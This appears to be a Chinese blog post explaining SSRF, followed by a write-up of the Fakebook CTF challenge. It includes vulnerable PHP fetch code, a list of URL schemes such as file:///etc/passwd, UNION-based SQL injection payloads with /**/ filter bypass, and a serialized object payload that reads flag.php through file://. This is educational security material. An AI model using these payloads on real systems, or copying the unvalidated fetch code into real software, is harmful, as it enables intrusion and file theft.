关于SSRF漏洞(服务器端伪造)参考SSRF漏洞原理攻击与防御(超详细总结)_零点敲代码的博客-CSDN博客_ssrf漏洞防御
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
四、产生SSRF漏洞的函数
SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。
1、file_get_contents:
下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
2、sockopen():
以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3、curl_exec():
cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
注意事项
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议
五、SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
上述知识点来源于章头参考;
从facebook这个例子来入手:
参考:[网鼎杯 2018]Fakebook_程序员届的小菜鸡的博客-CSDN博客
[网鼎杯 2018]Fakebook(ssrf漏洞)_天问_Herbert555的博客-CSDN博客
首先注册之后登录可以发现存在我们注册的用户,点进去;
然后发现URL 中 的变量no,尝试sql注入:
使用注释符绕过:union/**/select
?no=-1 union/**/select 1,database(),3,4# (查数据库) 发现 'fakebook'
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# (查表名) 发现'users'
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# (查字段) 字段名'no,username,data'
这里的联合注入,空格被过滤了,就用/**/代替,一系列常规下来发现:序列化后的东西:
2.目录扫描,发现有robots.txt,还有flag.php;
打开robots,可以发现源码包;
分析源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
在get方法中发现curl_exec 联想到ssrf ,再结合flag.php,使用file:协议,并且打开一个用户的源码可以看到data段的加密后的网页;
所以将blog改为file:///var/www/html/flag.php
可以反序列化一下,也可以直接改之前查到的序列化结果:把长度改为29,blog改一下就行:
构造:
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这里不懂的是,为什么在4的位置加序列化??
然后查看源码,data位置的base64编码解码就可;
还有一个非预期方法,就是load_file();具体参考;